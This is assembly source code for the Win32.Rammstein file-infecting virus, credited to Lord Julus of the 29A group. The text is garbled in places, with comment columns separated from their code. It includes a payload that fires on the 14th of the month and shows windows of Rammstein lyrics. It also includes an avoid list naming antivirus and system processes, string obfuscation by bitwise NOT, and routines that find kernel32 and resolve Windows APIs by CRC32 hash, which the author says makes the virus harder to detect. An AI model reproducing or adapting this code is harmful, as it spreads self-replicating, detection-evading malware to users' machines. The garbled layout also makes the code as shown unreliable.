lastsectionheader dd 0 ; last_section_destination dd 0 ; codesectionraw dd 0 ; codesectionheader dd 0 ; finaldestination dd 0 ; method dd 0 ; pedata label ; numberofsections dd 0 ; stored as dword!! sizeofoptionalheader dd 0 ; stored as dword!! addressofentrypoint dd 0 ; _imagebase dd 0 ; sectionalign dd 0 ; filealign dd 0 ; sizeofimage dd 0 ; sizeofheaders dd 0 ; checksum dd 0 ; numberofrva dd 0 ; baseofcode dd 0 ; codesection dd 0 ; codesectionsize dd 0 ; lastsection dd 0 ; lastsectionsize dd 0 ; increasement dd 0 ; codedelta dd 0 ; optionalheader dd 0 ; filename dd 0 ; copying db 0 ; lastsectionraw dd 0 ; lastsectionrva dd 0 ; codesectionrva dd 0 ; codesource dd 0 ; codedestin dd 0 ; PayloadThreadID dd 0 ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ; ;³ ÜÜÜ ÜÜÜ Ü Ü Ü ÜÜÜ ÜÜÜ ÜÜ ; ;³ ÛÜÛ ÛÜÛ ÛÜÛ Û Û Û ÛÜÛ Û Û ; ;³ Û Û Û Û ÛÜÜ ÛÜÛ Û Û ÛÜß ; ;³ ; ; DoPayload: ; cmp [ebp+firstgen], 1 ; jne do_it_now ; ret ; do_it_now: ; pusha ; lea esi, [ebp+text_start] ; mov ecx, list_len ; call not_list ; ; lea eax, [ebp+text_start] ; mov [ebp+current], eax ; call [ebp+_GetDC], 0 ; mov [ebp+hdc], eax ; lea ebx, [ebp+offset chars] ; call [ebp+_GetCharWidthA], eax, "A", "Z", ebx lea ebx, [ebp+offset textmetric] ; call [ebp+_GetTextMetricsA], [ebp+hdc], ebx ; call [ebp+_GetSystemMetrics], SM_CXFULLSCREEN mov [ebp+xmax], eax ; call [ebp+_GetSystemMetrics], SM_CYFULLSCREEN mov [ebp+ymax], eax ; ; xor eax, eax ;

;

; ; ; ; ; ; new_window: ; mov edi, [ebp+current] ; call [ebp+_lstrlen], edi ; add edi, eax ; inc edi ; push eax ; call [ebp+_lstrlen], edi ; mov edi, [ebp+current] ; cmp eax, [esp] ; jb ok_len ; add edi, [esp] ; inc edi ; xchg eax, [esp] ; ; ok_len: ; pop ecx ; ; lea esi, [ebp+chars] ; xchg edi, esi ; mov [ebp+xlength], 0 ; xor eax, eax ; ; calculate_length: ; lodsb ; cmp al, "A" ; jnb do_Z ; ; estimate: ; xor ebx, ebx ; mov bx, [ebp+textmetric.tmAveCharWidth] ; inc ebx ; jmp compute ; ; do_Z: cmp al, "Z" ; jna do_chars ; jmp estimate ; ; do_chars: ; sub eax, "A" ; mov ebx, [edi+eax*4] ; inc ebx ; ; compute: ; add [ebp+xlength], ebx ; loop calculate_length ; ; call [ebp+_GetModuleHandleA], 0 ; get our handle mov [ebp+hInst], eax ; save it ; mov [ebp+wc.wcxStyle], CS_HREDRAW+CS_VREDRAW+\;window style CS_GLOBALCLASS+CS_NOCLOSE lea eax, [ebp+offset WndProc] ; mov [ebp+wc.wcxWndProc], eax ; window procedure mov [ebp+wc.wcxClsExtra], 0 ; mov [ebp+wc.wcxWndExtra], 0 ; mov eax, [ebp+hInst] ; mov [ebp+wc.wcxInstance], eax ; instance (handle)

mov add add shl mov

ax, [ebp+textmetric.tmHeight] ax, [ebp+textmetric.tmAscent] ax, [ebp+textmetric.tmDescent] eax, 1 [ebp+ylength], eax

; call [ebp+_LoadIconA], [ebp+hInst], IDI_APPLICATION ; load our icon mov [ebp+ourhIcon], eax ; mov [ebp+wc.wcxIcon], eax ; mov [ebp+wc.wcxSmallIcon], eax ; ; call [ebp+_LoadCursorA], 0, IDC_ARROW ; load out cursor mov [ebp+wc.wcxCursor], eax ; ; mov [ebp+wc.wcxBkgndBrush], COLOR_WINDOW+1 ; mov dword ptr [ebp+wc.wcxMenuName], NULL ; menu lea eax, [ebp+szClassName] ; mov dword ptr [ebp+wc.wcxClassName], eax ; class name ; lea eax, [ebp+offset wc] ; call [ebp+_RegisterClassExA], eax ; register the class! ; mov eax, [ebp+xmax] ; sub eax, [ebp+xlength] ; call brandom32 ; mov [ebp+xpos], eax ; ; mov eax, [ebp+ymax] ; sub eax, [ebp+ylength] ; call brandom32 ; mov [ebp+ypos], eax ; ; lea eax, [ebp+offset szClassName] ; lea ebx, [ebp+offset szTitleName] ; call [ebp+_CreateWindowExA],ExtendedStyle,\; Create the Window! eax,\ ; ebx,\ ; DefaultStyle,\ ; [ebp+xpos],\ ; [ebp+ypos],\ ; [ebp+xlength],\ ; [ebp+ylength],\ ; 0,\ ; 0,\ ; [ebp+hInst],\ ; 0 ; ; mov [ebp+newhwnd], eax ; save handle ; call [ebp+_UpdateWindow], dword ptr [ebp+newhwnd]; and update it... call [ebp+_InvalidateRect], dword ptr [ebp+newhwnd], 0, 0 ; msg_loop: ; lea eax, [ebp+offset msg] ; call [ebp+_GetMessageA], eax, 0, 0, 0 ; get a message ; or ax, ax ; finish? jz end_loop ; ; lea eax, [ebp+offset msg] ; call [ebp+_TranslateMessage], eax ; translate message ; lea eax, [ebp+offset msg] ; call [ebp+_DispatchMessageA], eax ; dispatch the message ; jmp msg_loop ; do again ; end_loop: ;

; ; ; ; ; ; ;did the victim finish? ; ; ; ; finish_process: ; popa ; ret ; process_end dd 0 ; ; ;============================================================================ WndProc proc uses ebx edi esi,\ ; registers preserved hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD ; parameters LOCAL theDC:DWORD ; ; call @@1 ; @@1: ; pop esi ; sub esi, offset @@1 ; ; cmp [wmsg], WM_PAINT ; je wmpaint ; cmp [wmsg], WM_DESTROY ; destory window je wmdestroy ; cmp [wmsg], WM_CREATE ; create window je wmcreate ; cmp [wmsg], WM_TIMER ; jmp defwndproc ; ; defwndproc: ; call [esi+_DefWindowProcA], [hwnd], [wmsg], [wparam], [lparam] ; define jmp finish ; the window ; wmdestroy: ; call [esi+_ShowWindow], [hwnd], SW_HIDE ; call [esi+_KillTimer], [hwnd], [esi+htimer]; call [esi+_PostQuitMessage], 0 ; kill the window xor eax, eax ; jmp finish ; ; wmpaint: ; call [esi+_GetDC], [hwnd] ; mov [theDC], eax ; lea eax, [esi+offset lppaint] ; call [esi+_BeginPaint], dword ptr [hwnd],\ ; eax ; push [esi+current] ; call [esi+_lstrlen] ; push eax ; call [esi+_TextOutA], dword ptr [theDC], 1, 1,\ dword ptr [esi+current], eax; pop eax ; mov ebx, [esi+current] ; add ebx, eax ; inc ebx ; push ebx ; push ebx ;

mov esi, [ebp+current] @endsz @endsz lea eax, [ebp+offset text_end] cmp esi, eax jae finish_process cmp [ebp+process_end], 1 je finish_process mov [ebp+current], esi jmp new_window

call [esi+_lstrlen] ; pop ebx ; xor edx, edx ; mov dx, [esi+textmetric.tmHeight] ; call [esi+_TextOutA], dword ptr [theDC], 1, edx, ebx, eax lea eax, [esi+offset lppaint] ; call [esi+_EndPaint], dword ptr [hwnd], eax jmp defwndproc ; ; wmcreate: ; lea eax, [esi+offset TimerProc] ; call [esi+_SetTimer], dword ptr [hwnd], 1111h,\ dword ptr [esi+wintime],\ ; eax ; mov [esi+htimer], eax ; jmp defwndproc ; ; finish: ; ret ; WndProc endp ; ; TimerProc proc uses ebx edi esi,\ ; hwnd:DWORD, wmsg:DWORD, timerid:DWORD, dwtime:DWORD ; call @@2 ; @@2: ; pop esi ; sub esi, offset @@2 ; ; mov eax, [esi+htimer] ; cmp [timerid], eax ; jne exittime ; call [esi+_PostMessageA], [hwnd], WM_DESTROY, 0, 0 ; exittime: ; ret ; TimerProc endp ; ; text_start: ; noter <LA? MICH DEINE TRANE REITEN> ; noter <UBERS KINN NACH AFRIKA> ; ; noter <WIEDER IN DEN SCHOSS DER LOWIN> ; noter <WO ICH EINST ZUHAUSE WAR> ; ; noter <ZWISCHEN DEINE LANGEN BEINEN> ; noter <SUCH DEN SCHNEE VOM LETZTEN JAHR> ; ; noter <DOCH ES IST KEIN SCHNEE MEHR DA> ; noter <..> ; ; noter <LASS MICH DEINE TRANE REITEN> ; noter <UBER WOLKEN OHNE GLUCK> ; ; noter <DER GROSSE VOGEL SCHIEBT DEN KOPF> ; noter <SANFT IN SEIN VERSTECK ZURUCK> ; ; noter <ZWISCHEN DEINE LANGEN BEINEN> ; noter <SUCH DEN SAND VOM LETZTEN JAHR> ; ; noter <DOCH ES IST KEIN SAND MEHR DA> ; noter <..> ; ;

; ; ; noter <IM SCHLAFE MERKST DU NICHT> ; noter <DA? ES DICH STICHT> ; ; noter <GLUCKLICH WERD ICH NIRGENDWO> ; noter <DER FINGER RUTSCHT NACH MEXIKO> ; ; noter <DOCH ER VERSINKT IM OZEAN> ; noter <SEHNSUCHT IST SO GRAUSAM> ; ; noter <WOLLT IHR DAS BETT IN FLAMMEN SEHEN? > ; noter <WOLLT IHR IN HAUT UND HAAREN UNTERGEHEN?> ; noter <IHR WOLLT DOCH AUCH DEN DOLCH INS LAKEN STECKEN > noter <IHR WOLLT DOCH AUCH DAS BLUT VOM DEGEN LECKEN > ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; ; noter <IHR SEHT DIE KREUZE AUF DEM KISSEN > ; noter <IHR MEINT EUCH DARF DIE UNSCHULD KUSSEN > ; noter <IHR GLAUBT ZU TOTEN WARE SCHWER > ; noter <DOCH WO KOMMEN ALL DIE TOTEN HER > ; ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; ; noter <SEX IST EIN SCHLACHT > ; noter <LIEBE IST KRIEG > ; ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; noter <RAMMSTEIN!! RAMMSTEIN!! > ; text_end: ; list_len = $-offset text_start ; ; wc STD_WINDOW <size STD_WINDOW,0,0,0,0,0,0,0,0,0,0,0> wintime dd 4000 ; hInst dd 0 ; hAccel dd 0 ; htimer dd 0 ; ourhIcon dd 0 ; newhwnd dd 0 ; msg MSGSTRUCT <?> ; r RECT <?> ; lppaint PAINTSTRUCT <?> ; textmetric TEXTMETRIC <?> ; xmax dd 0 ; ymax dd 0 ; xlength dd 0 ; ylength dd 0 ; xpos dd 0 ; ypos dd 0 ; current dd 0 ; hdc dd 0 ; chars dd "Z"-"A"+2 dup (0) ; szTitleName db 'Win32.Rammstein', 0 ; szClassName db 'RAMMSTEIN', 0 ; ; DefaultStyle = WS_OVERLAPPED+WS_VISIBLE ; ExtendedStyle = WS_EX_TOPMOST ;

noter <SEHNSUCHT VERSTECKT > noter <SICH WIE EIN INSEKT>

; ;==================================================;========================= ; ValidateFile: ; ; ESI = pointer to filename ; ret pusha ; lea eax, [ebp+VF_ExceptionExit] ; Setup a SEH frame push eax ; push dword ptr fs:[0] ; mov fs:[0], esp ; ; call [ebp+_lstrlen], esi ;get the filename length cmp eax, 256 ;is it too big? ja invalid_file ; mov ecx, eax ; ; push ecx ;uppercase the name call [ebp+_CharUpperBuffA], esi, ecx ; pop ecx ; ; @endsz ;go to it's end inc ecx ; std ; mov edi, esi ;and look backwards for mov al,'\' ;the '\' repnz scasb ; mov esi, edi ; or ecx, ecx ; jz no_increase ; inc esi ;if we found one, point it inc esi ; ; no_increase: ; cld ;restore direction lea edi, [ebp+offset avoid_list] ;our avoid list ; search_next: ; cmp byte ptr [edi], 0FFh ;last entry? je all_names_ok ; xor ebx, ebx ; mov bl, [edi+4] ;get the name length xor ecx, ecx ; xchg byte ptr [esi+ebx], cl ;limit our string to the push esi ;length with a 0 call StringCRC32 ;and compute a crc32 for pop esi ;the piece... xchg byte ptr [esi+ebx], cl ;restore filename cmp eax, [edi] ;does it match? je av_name_found ; add edi, 5 ;get next... jmp search_next ; ; av_name_found: ; invalid_file: ; pop dword ptr fs:[0] ;and restore the SEH add esp, 4 ; popa ; stc ; ret ; ; all_names_ok: ; pop dword ptr fs:[0] ;and restore the SEH

add esp, 4 popa clc ret VF_ExceptionExit: mov esp, [esp+8] call DeltaRecoverVF DeltaRecoverVF: pop ebp sub ebp, offset DeltaRecoverVF jmp invalid_file avoid_list: crc32 db 3 crc32 db 3 crc32 db 5 crc32 db 4 crc32 db 3 crc32 db 3 crc32 db 6 crc32 db 8 crc32 db 8 crc32 db 2 crc32 db 2 crc32 db 2 crc32 db 2 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 3 crc32 db 4 crc32

<AV> <_AV> <ALERT> <AMON> <N32> <NOD> <NPSSVC> <NSCHEDNT> <NSPLUGIN> <TB> <F-> <AW> <AV> <NAV> <PAV> <RAV> <NVC> <FPR> <DSS> <IBM> <INOC> <ANTI> <SCN> <SCAN> <VSAF>

; ; ; ; ; ;if we had an error we ;must restore the ESP ; ; ; ; ; ; ; ; ; ;the list with filenames ;to avoid ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

db 3 crc32 <VSWP> db 3 crc32 <PANDA> db 3 crc32 <DRWEB> db 3 crc32 <FSAV> db 3 crc32 <SPIDER> db 3 crc32 <ADINF> db 3 crc32 <EXPLORER> db 8 crc32 <SONIQUE> db 7 crc32 <SQSTART> db 7 crc32 <SMSS> db 4 crc32 <OUTLOOK> db 7 crc32 <PSTORES> db 7 db 0FFh

not_list proc ____1: cmp [ebp+copying], 1 je ____1 mov [ebp+in_list], 1 push esi edi mov edi, esi not_byte: lodsb not al stosb loop not_byte pop edi esi mov [ebp+in_list], 0 ret not_list endp in_list db 0 brandom32 proc push edx push ecx mov edx, 0 push eax call random32 pop ecx div ecx xchg eax, edx pop ecx pop edx ret brandom32 endp random32 proc push edx call [ebp+_GetTickCount] rcl eax, 2

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;syncronization ; ; ;this NOTs a list ; ; ; ; ; ; ; ; ; ; ; ; ;this bounds eax ;between 0 and eax-1 ;on random basis ; ; ; ; ; ; ; ; ; ; ; ;this is a random nr ;generator. It's a ;modified version of ;some random gen I found

add eax, 12345678h ;someday and it had random_seed = dword ptr $-4 ;some flaws I fixed... adc eax, esp ; xor eax, ecx ; xor [ebp+random_seed], eax ; add eax, [esp-8] ; rcl eax, 1 ; pop edx ; ret ; random32 endp ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check_not proc ; pusha ;Be sure not to let lea esi, [ebp+list_of_lists] ;some of the lists ;un-NOTed in the get_another: ;victim file lodsd ; or eax, eax ; jz correct ; add eax, [ebp+finaldestination] ; cmp byte ptr [eax], NOT "L" ; je no_problem ; call wrong ; ; no_problem: ; add esi, 4 ; jmp get_another ; ; correct: ; popa ; ret ; ; wrong: ; pusha ; push eax ; lodsd ; pop esi ; mov ecx, eax ; call not_list ; popa ; ret ; check_not endp ; ; list_of_lists label ; dd offset direct_list - offset start, direct_list_len dd offset file_extensions - offset start, file_extensions_len dd offset av_list - offset start, av_list_len dd 0 ; ; KillThread: ; IF VIRUSNOTIFYEXIT ; push 0 ; call exittext1 ; db 'Rammstein viral code end!', 0 ; exittext1: ; call exittext2 ; db 'Rammstein viral code end!', 0 ; exittext2: ; push 0 ; call [ebp+_MessageBoxA] ; ENDIF ; IF PAYLOAD ;

lea eax, [ebp+time] call [ebp+_GetSystemTime], eax lea edi, [ebp+time] cmp word ptr [edi.ST_wDay], 14d jne no_payload call DoPayload no_payload: ENDIF IF MAINTHREADSEH jmp restore_main_seh MainExceptionExit: mov esp, [esp+8] restore_main_seh: pop dword ptr fs:[0] add esp, 4 call restore_delta restore_delta: pop ebp sub ebp, offset restore_delta just_kill_it: ENDIF mov eax, [ebp+_ExitThread] push 0 call eax

; ; ; ; ; ; ; ; ; ; ; ;host ; ;if we had an error we ;must restore the ESP ; ; ;and restore the SEH ;returning to the host... ; ; ; ; ; ; ; ;Exit the main thread ; ;

; ; Safe Copro. Thanx to Prizzy for pointing me that the copro cannot be shared ; in the same process and need to be saved to keep compatibility! InitCopro: sub esp, 128 fwait fnsave [esp] finit jmp dword ptr [esp+80h] ; ;create space for copro ;data, wait for last to ;finish and save... ;initialize copro ;and return ; RestoreCopro: ; fwait ;wait to finish frstor [esp+4] ;restore copro data xchg eax, dword ptr [esp] ;now find out our return xchg eax, dword ptr [esp+80h] ;address without altering xchg eax, dword ptr [esp] ;eax, kill the copro space add esp, 128 ;on the stack. One Dword ret ;remains on the stack ; EPO_Routine: ; clc ; ret ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Data area ; test_semaphore dd 0 ; W32FD WIN32_FIND_DATA <?> ; time SYSTEMTIME <0> ; memory dd 0 ; free_routine dd AVAILABLE ; version db 0 ; newsize dd 0 ;

newraw dd 0 ; situation dd 0 ; DeltaRVA dd 0 ; mainthreadid dd 0 ; headersum dd 0 ; checksumfile dd 0 ; lowest_section_raw dd 0 ; apihookfinish dd 0 ; tempcounter dd 0 ; fileopen dd 0 ; Semaphore db "Win32.Rammstein", 0 ; saved_code dd 0, 0 ; mmx dd 0 ; skipper db 0 ; no_imports db 0 ; totalsizes dd 0 ; smallest_dir_va dd 0 ; netapis dd 0 ; ok dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ include get_apis.inc ;included files include rammdata.inc ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virussize = end-start ; copyright db 'Win32.Rammstein.' ; db virussize/10000 mod 10 + '0' ; db virussize/01000 mod 10 + '0' ; db virussize/00100 mod 10 + '0' ; db virussize/00010 mod 10 + '0' ; db virussize/00001 mod 10 + '0' ; db ' v4.0', 10,13 ; db '(c) Lord Julus - 2000 / [29A]',10,13 ; MainThread endp ; end2: ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IF DEBUG ; debug_end db 'Here is the end of the virus.',0 ; ENDIF ; end label ; end start ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMM.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[GET_APIS.ASM]ÄÄÄ ; Locating modules and their exported api addresses routines ; ; Deluxe V2.0 ;-) ; ; (C) Lord Julus / [29A] ; ; This includes the jp/lapse/vecna crc32 macro calculator and the api ; getter is modified to search for the crc32 instead of names. Saves space ; and makes it harder to detect. ;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ;Û Locate Kernel32 base address Û ;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ; ; Entry: EAX = dword on stack at startup ; EDX = pointer to kernel32 name ; ; Return: EAX = base address of kernel32 if success ; EAX = 0, CF set if fail

LocateKernel32 proc near pushad call @800 @800: pop ebx add ebx, delta3-@800+1 mov dword ptr [ebx], ebp

; save all registers ; ...I don't know why I ; had to do this this way, ; but it wouldn't work ; otherwise... ; lea ebx, [ebp+try_method_2_error] ; first set up a seh push ebx ; frame so that if our push dword ptr fs:[0] ; first method crashes mov fs:[0], esp ; we will find ourselves ; in the second method locateloop: ; cmp dword ptr [eax+0b4h], eax ; first method looks for je found_k32_kill_seh ; the k32 by checking for dec eax ; the equal dword at 0b4 cmp eax, 40000000h ; jbe try_method_2 ; jmp locateloop ; ; found_k32_kill_seh: ; if we found it, then we pop dword ptr fs:[0] ; must destroy the temp add esp, 4 ; seh frame mov [esp.pop_eax], eax ; jmp found_k32 ; ; try_method_2_error: ; if the first method gave mov esp, [esp+8] ; and exception error we delta3: mov ebp, 12345678h ; restore the stack and ; the delta handle try_method_2: ; pop dword ptr fs:[0] ; restore the seh state add esp, 4 ; popad ; restore registers and pushad ; save them again ; and go on w/ method two lea esi, [ebp+offset getmodulehandle] ; mov ecx, getmodulehandlelen ; call not_list ; ; mov ebx, dword ptr [ebp+imagebase] ; now put imagebase in ebx mov esi, ebx ; cmp word ptr [esi], 'ZM' ; check if it is an EXE jne notfound_k32 ; mov esi, dword ptr [esi.MZ_lfanew] ; get pointer to PE cmp esi, 1000h ; too far away? jae notfound_k32 ; add esi, ebx ; cmp word ptr [esi], 'EP' ; is it a PE? jne notfound_k32 ; add esi, IMAGE_FILE_HEADER_SIZE ; skip header mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress] add edi, ebx ; and get import RVA mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size] add ecx, edi ; and import size mov eax, edi ; save RVA ; locateloop2: ; mov edi, dword ptr [edi.ID_Name] ; get the name add edi, ebx ; xor dword ptr [edi], 'öDC2ETBRS' ; cmp dword ptr [edi], 'NREK' xor 'öDC2ETBRS' ; and compare to KERN xor dword ptr [edi], 'öDC2ETBRS' ;

; ; ; ; ; ; ; found_the_kernel_import: ; mov edi, eax ; mov esi, dword ptr [edi.ID_FirstThunk] ; add esi, ebx ; mov edi, dword ptr [edi.ID_Characteristics] ; add edi, ebx ; ; gha_locate_loop: ; push edi ; mov edi, dword ptr [edi.TD_AddressOfData] ; add edi, ebx ; add edi, 2 ; ; push edi esi ; lea esi, dword ptr [ebp+getmodulehandle] ; mov ecx, getmodulehandlelen ; rep cmpsb ; je found_getmodulehandle ; pop esi edi ; ; pop edi ; add edi, 4 ; add esi, 4 ; cmp dword ptr [esi], 0 ; je notfound_k32 ; jmp gha_locate_loop ; ; found_getmodulehandle: ; pop esi ; pop edi ; pop edi ; ; lea esi, [ebp+offset getmodulehandle] ; mov ecx, getmodulehandlelen ; call not_list ; ; push edx ; mov esi, [esi] ; call esi ; mov [esp.pop_eax], eax ; or eax, eax ; jz notfound_k32 ; ; found_k32: ; popad ; clc ; ret ; ; notfound_k32: ; popad ; xor eax, eax ; stc ; ret ; LocateKernel32 endp ; @900 dd 0

je found_the_kernel_import add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE mov edi, eax cmp edi, ecx jae notfound_k32 jmp locateloop2

if it is not that one skip to the next desc. but not beyond the size of the descriptor

if we found the kernel import descriptor take the pointer to addresses and the pointer to names

save pointer to names go to the actual thunk and skip the hint save these and point the name of GetModuleHandleA see if it is that one if so... otherwise restore restore arrays indexes and skip to next 0? -> end of import

restore stack

push kernel32 name esi = GetModuleHandleA address...

restore all regs and and mark success

restore all regs and mark the failure...

;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ;Û Locate Apis Û ;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ; ; Entry: EAX = base of module ; ESI = pointer to API name crc32 array ; EDX = pointer to array to receive API addresses ; ECX = how many apis to import ; ; Return: EAX = 0, CF set if fail LocateApis proc near pushad mov [ebp+@901], ecx ; ; ; ; push esi ; push edx ; mov ebx, eax ; save the module base mov edi, eax ; mov ax, word ptr [edi] ; ' xor ax, 'NAK ; cmp ax, 'ZM' xor 'NAK' ; is it an exe? jne novalidmodule ; ; mov edi, dword ptr [edi.MZ_lfanew] ; cmp edi, 1000h ; jae novalidmodule ; ; add edi, ebx ; mov ax, word ptr [edi] ; xor ax, 'ñSYN' ; cmp ax, 'EP' xor 'ñSYN' ; is it a PE? jne novalidmodule ; ; add edi, IMAGE_FILE_HEADER_SIZE ; skip file header ; mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress] add edi, ebx ; and get export RVA ; mov ecx, dword ptr [edi.ED_NumberOfNames] ; save number of names ; to look into mov esi, dword ptr [edi.ED_AddressOfNames] ; get address of names add esi, ebx ; align to base rva mov [ebp+@903], edi ; ; pop edx ; pop edi ; ; api_locate_loop: ; push ecx esi ; save counter and addr. ; push edi ; mov edi, [esi] ; get one name address add edi, ebx ; and align it ; mov esi, edi ; call StringCRC32 ; ; pop edi ; push edi ; xor ecx, ecx ; ; rep_cmp: ;

; ; ; ; ; ; ; ; continue_search: ; pop edi esi ecx ; restore them ; add esi, 4 ; and get next name loop api_locate_loop ; ; novalidmodule: ; we didn't find it... popad ; xor eax, eax ; mark failure stc ; ret ; ; apifound: ; mov [ebp+@904], ecx ; pop edi esi ecx ; ecx = how many did we push ecx esi ; push edi ; mov edi, [ebp+@903] ; sub ecx, dword ptr [edi.ED_NumberOfNames] ; we need the reminder neg ecx ; of the search mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals add eax, ebx ; shl ecx, 1 ; and look using the index add eax, ecx ; xor ecx, ecx ; mov cx, word ptr [eax] ; take the ordinal mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs. add eax, ebx ; shl ecx, 2 ; we look in a dword array add eax, ecx ; go to the function addr mov eax, [eax] ; take it's address add eax, ebx ; and align it to base mov ecx, [ebp+@904] ; shl ecx, 2 ; mov [edx+ecx], eax ; dec [ebp+@901] ; cmp [ebp+@901], 0 ; je all_done ; jmp continue_search ; ; all_done: ; add esp, 0Ch ; popad ; clc ; ret ; LocateApis endp ; @901 dd 0 ; @903 dd 0 ; @904 dd 0 ;ÛßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßÛ ;Û General module handle retriving routine Û ;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ ; ; Entry: EDI = pointer to module name

cmp dword ptr [edi], 0 je continue_search cmp [edi], eax je apifound inc ecx add edi, 4 jmp rep_cmp

; ; Return: EAX = module base address if success ; EAX = 0, CF set if fail LocateModuleBase proc near pushad push edi call dword ptr [ebp+_LoadLibraryA] mov [esp.pop_eax], eax popad or eax, eax jz notfoundmodule clc ret notfoundmodule: stc ret LocateModuleBase endp ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

save regs push name call LoadLibraryA

success

fail

